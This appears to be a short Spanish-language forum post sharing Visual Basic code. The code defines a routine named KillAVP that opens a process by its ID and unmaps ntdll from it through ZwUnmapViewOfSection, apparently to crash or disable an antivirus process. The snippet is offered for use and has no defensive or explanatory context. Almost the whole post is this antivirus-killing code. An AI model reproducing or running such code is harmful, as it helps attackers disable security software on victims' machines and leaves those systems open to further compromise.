os dejo el codigo:
Código: Seleccionar todo
Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Declare Function GetModuleHandleA Lib "kernel32" (ByVal lpModuleName As String) As Long
Declare Function ZwUnmapViewOfSection Lib "ntdll" (ByVal hProcess As Long, ByVal BaseAddress As Long) As Long
Sub KillAVP()
ZwUnmapViewOfSection OpenProcess(8, 0, AVP_PID), GetModuleHandleA("ntdll")
End Sub